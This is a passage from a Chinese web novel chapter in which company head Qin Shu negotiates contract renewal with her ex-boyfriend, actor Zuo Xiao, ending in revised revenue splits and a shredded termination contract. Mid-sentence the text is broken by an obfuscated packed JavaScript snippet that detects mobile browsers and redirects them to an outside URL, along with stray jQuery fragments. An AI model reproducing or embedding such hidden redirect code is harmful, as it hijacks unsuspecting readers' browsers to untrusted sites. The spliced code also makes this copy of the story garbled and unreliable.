他声音不咸不淡，像在说午饭吃的黄焖鸡米饭，不是什么值得在意的事。
落在秦书和郑升耳中无疑是晴天霹雳，空气陷入须臾的沉寂，下一秒炸得支离破碎。
“你签了？！”郑升火气上头，碍于电梯运行才没跳起来打人，“竞业协议也敢随便签，那合同限制比老太太裹脚布还长，你说错句话都要赔钱，你特么赔得起吗？”
“今年没工作，”左骁说，“限制就一年，过得很快，而且我还有三部待播剧，不缺曝光。”
郑升愣了下，“你在跟我解释？”
左骁像是被呛住一秒，继而反问：“不然呢？”
“好好好，你长大了，”郑升欣慰，“你终于明白我和公司那群豺狼虎豹不一样了，我不会妄图掌控你，咱俩是黄金搭档。”
左骁没理他，斜倚着扶杆，浑身上下都写着“理解不了到了岁数多愁善感的中年男人”。
郑升扫了眼电梯楼层，语速加快：“你给我个准话，‘报恩’那个说法是不是老板传出去给自个儿脸上贴金的？”
语毕，他又否了，“不对，要是没这回事，你为什么急吼吼要解约？你是星辉台柱子，换了谁都得捧着你。”
秦书默默竖起耳朵。
她也好奇。
在刻意隐瞒下，只有公司高层拿到了她的基本资料，流出去的消息顶多“新老板姓秦”一条。
左骁猜到是她？
可能性几近为零，云兴市乃至全国秦姓人口百万之多，他也不是笃信巧合畏葸不前的人。
紧接着，脑海中浮现出一个好笑的念头。
左骁怕不是闻“秦”色变。
倒也能理解，毕竟当初是她提的分手，少年人面子比天大，若真涉及尊严，想留住他还真不好办。
左骁语气生硬：“两码事，我就想换个大公司。”
郑升狠狠抹了把脸，“那我呢，由奢入俭难，带过你，我还怎么带别人。”
左骁早有计划，“你跟我一起走，解约金我来付。”
“啧，”郑升焦躁，“不好吧，连吃带拿的，看你那合同，新老板不太好说话。”
“……”
原来他们也知道连吃带拿的行为应该受到谴责。
秦书把存在感降低到极点，听他们有商有量做出“摇钱树端盆跑路”的决定，心情几经变换——“他竟然真的签字了！”——“这事难办，分他股份不知道可不可行”——“简直荒谬，我倒要听听你们还能说出什么来”。
郑升对老东家感情比较深，叹了口气，“这些年公司借你的光，上边赚的盆满钵满，底下人跟着喝汤，你要解约也没什么可指摘的。”
左骁不吭声，不知道是懒得陪郑升煽情忆往昔，还是不愿意回忆乏善可陈的职场生涯。
“星辉资源是差了点，但你是毋庸置疑的一哥，”郑升认真分析，“大公司盘根错节，上有前辈下有待爆咖，你又被迫沉淀一年，形势比人强，到时候说不定赶不上星辉待遇好，再后悔就来不及了。”
“叮——六层到了。”
秦书率先动作，走出电梯，视线在左骁身上停留片刻，眨眼滑向郑升，启唇：“这是顶层，你们不下吗？”
郑升瞳孔地震，太激动了，忘了电梯里还有其他人！
“不下，”左骁倾身按关门键，刚好挡住门口，接着像是无视秦书，强硬地安抚郑升，“用不着后悔。”
秦书明白左骁在点她，大概是让她别白费力气，他宁可赔钱也铁了心要解约，绝对不会为她打工。
绝·对·不·会。
门里门外。
秦书和左骁都在等电梯关门。
电梯门缓缓闭合。
秦书本来试图看清左骁镜片后的情绪，好为之后的谈判累加筹码，可惜镜片质量太好，她看不清，于是垂眼看他嘴巴。
意思是——说话。
左骁唇角向下压。
秦书了然，他不想和她多说一句话。
期待落空，没得到更多有效信息也无所谓，眼见电梯门只剩下手掌宽窄，她收回视线，侧过身，习惯性扶眼镜。
就在门关上的最后一秒。
简短的语句飘出来：“除非你求我。”
秦书恍然转头。
黑色的电梯门泛着冷光，显示屏数字开始滚动，一切都稀松平常。
如果她没听见那弱似虚无的声音，像是刻意给她出难题，又像在——
“秦总！”
秦书蓦地抽离思绪，整理表情，见秘书一副“天塌了”的模样，问道：“怎么了？”
“左骁签字了。”秘书递来合同。
“我已经知道了，”秦书往办公室走，“他看完什么反应？”
秘书回忆，“他笑了一下。”
经历过从云端摔进泥沼的难堪，熬过了三年雪藏期，合同里的限制对他来说根本算不了什么。
秦书猜他当时一定在想——什么垃圾条款也配让我头疼。
他成熟内敛了许多，至少懂得把那股赤诚疏狂意气风发的劲儿藏进骨头里，免得光是站在那，就让某些人自惭形秽。
秘书担忧道：“秦总，您打算怎么办？”
秦书想到左骁的条件，姑且算条件。
——“除非你求我。”
求吗？
怎么求？
总不能为左骁的私欲开会集思广益，主题就叫【论秦总低声下气恳求优秀员工（前男友）续约的可行性】。
虽说生意人能屈能伸，擅长见风使舵，秦书仍然感到棘手，“把他近几年的情况汇总给我，合同暂时压着。”
秘书应下，她又吩咐：“叫林旭来一趟。”
-
“这档节目有一个嘉宾塌房了，导演计划做一期对抗赛，结束后在飞行组选一个最有效果的转为常驻，我认为你比较合适。”
秦书开门见山，把合同推过去，“不是轻松活，体力跟不上不要逞强。”
林旭自动忽略后半句，干劲十足：“秦总放心，我一定好好干！”
秦书一时无言，敲敲桌面，“先看合同。”
林旭激动万分，勉强静下心来，以往都是经纪人总览全局，他只负责签字，还是头一次被问及意见。
好像换了新老板，一切都不一样了。
他偷偷抬眼，看向办公桌后伏案工作的身影，教科书般的坐姿，书写时不疾不徐，每一笔都从容不迫，和她本人一样。
但他觉得别扭。
无他，秦书的长相太出众了，不输娱乐圈任何一位女星。
犹如一尊不容亵玩的瓷器，骨相清韵，眉眼含情，是典型的古典美人。
规矩框住绝色之姿，塑造出完美的躯壳，内核是她锋锐的灵魂。不比刻意营造氛围的女星，上位者的气度浑然天成，轻薄镜架后目光疏离，不夹杂冗余的感情，有种透骨的清冷感。
蓦地，被他评为“姐姐级别”的眼神投过来，声线平而清：“看完了？”
“看，看完了！”林旭脸红，腾的站起来，“合同没问题，我愿意参加。”
秦书接过合同，翻到最后一页，“公司会配合你宣传，如果你能成功转为常驻，下阶段资源向你倾斜。”
林旭深吸一口气，郑重承诺：“我不会让您失望的！”
秦书随意“嗯”了一声，在横线上方落笔。
就在这时，有人闯进办公室。
“不许签！”
秦书落笔歪了。
“左老师，你不能进，秦总在工作，”秘书一路追到门外，“对不起秦总，我没拦住。”
秦书看过去，面色淡淡，心里却在思考左骁葫芦里装了什么药。
左骁已经走到近前，一手撑着桌沿，一手越过来压在合同上。
“别签。”
秦书捏着钢笔把玩，后倚住椅背，与他对视几秒，直白地问：“后悔了？”
左骁呼吸一滞，合同上顿时出现几条褶皱。
秦书侧头，对秘书扬了扬下巴，“你先出去吧，经纪人进来。”
说完，她重新看向左骁，嘴角微微翘起，“坐下说。”
左骁略微倾身，下压的姿态十分有压迫性。
秦书不怕，枕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459038|169662||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着颈枕，自在又惬意。
针锋相对的场面，没人愿意先败下阵来。
办公室落针可闻，安静得骇人。
不知过了多久，左骁一把抽走合同，三步并两步走到碎纸机前，把合同放进去。
“啊！”心碎的低呼湮没在碎纸机无情的喀嚓声里。
左骁返回，拉开椅子坐下，“谈谈。”
左骁进门后一系列动作佐证了秦书的猜测。
他不想解约。
优势在她。
在左骁探究的目光中，秦书找出文件盒，打开，露出里面的文件，“想怎么谈？”
左骁眼睫微颤。
不过很快恢复自然，“我可以续约。”
秦书翻到签字页，甲方还没签字，“条件呢？”
她真怕左骁当着经纪人和林旭的面固执地让她求他，好在他要脸，提出了另一个合理的要求：“重新分配分成比例，我至少要70%。”
不可思议的让利。
秦书反向还价：“75%，你要接受公司的安排。”
左骁不说话。
秦书捕捉到他十分隐晦地扫了下合同，温声说：“你放心，公司不会让你自降身价，只是有些不错的机会，放弃着实可惜。”
左骁沉声道：“一年一次。”
秦书摇头，“我无法保证，人的灵感都是集中爆发的，也许今年又是一个‘综艺元年’。”
左骁：“演员需要和观众保持距离感，拍戏过程中参加综艺会影响我的状态。”
秦书应和：“凡事可以商量，你要相信公司不会磨灭你的灵性。”
“……行。”
左骁看似让步，转而提出：“80%，工作所需费用公司全包。”
话音落下，办公室响起倒吸冷气的声音。
秦书并不意外，左骁提要求时紧紧盯着她的眼睛，如一匹盯上猎物的凶狼，不是施压，而是表达任性不驯的情绪——我可以答应你的条件，但不会把所有好处都给你。
“成交，”秦书把解约合同递给他，“这是双赢。”
左骁嘲弄地勾了下唇角，捏住合同对角，一言不发起身。
再次来到碎纸机前，粉碎这份合同。
所有人都在等尘埃落定，左骁忽然出声：“新合约什么时候签？”
秦书当他面给秘书打电话下发任务，挂断后回答：“明天。”
“嗯。”
办公室再次安静下来。
“那个——”林旭怯怯开口。
左骁皱眉瞥过去，光看眼神便能看出他的意思。
你谁？有你什么事？
林旭不敢惹他，可怜兮兮地问秦书：“秦总，综艺我还能去吗？”
闻言，左骁仔细端详他一番，几秒后，若无其事地收回目光。
察觉到秦书不回话，反倒盯着他看，立刻不甘示弱地挑衅回去：“看我干什么，我脸上有通告？”
秦书笑着点头，指了指努力吞纸的碎纸机，“你把人合同碎了，不看你看谁？”
“合同碎了补一份就是了。”
左骁语气不善，到底不是欺负后辈的恶霸前辈，对林旭说了声“抱歉”，转脸跟郑升说：“你看看有没有什么好剧本，我回头帮他推荐。”
林旭受宠若惊，连连摆手，“不用哥，我——”
左骁挥手打断，“补偿你的。”
秦书一拍手，“行了，我准备下班了，你们该回家回家，该训练训练，别聚在我这。”
林旭第一个响应，乖乖告别，又跟左骁小声道谢。
左骁轻哼一声，大步往外走。
唯独郑升，跟在左骁屁股后头频频回头。
秦书屈指叩桌面，“当”一声，三人全部停下。
她示意郑升：“有话就说。”
郑升纠结半天，心一横，问道：“秦总，您和左骁认识吗？”
静默片刻，两道声音同时响起。
“同学。”
“谈过。”
左骁倏地望向秦书。
秦书微笑，对他抬了下眉毛。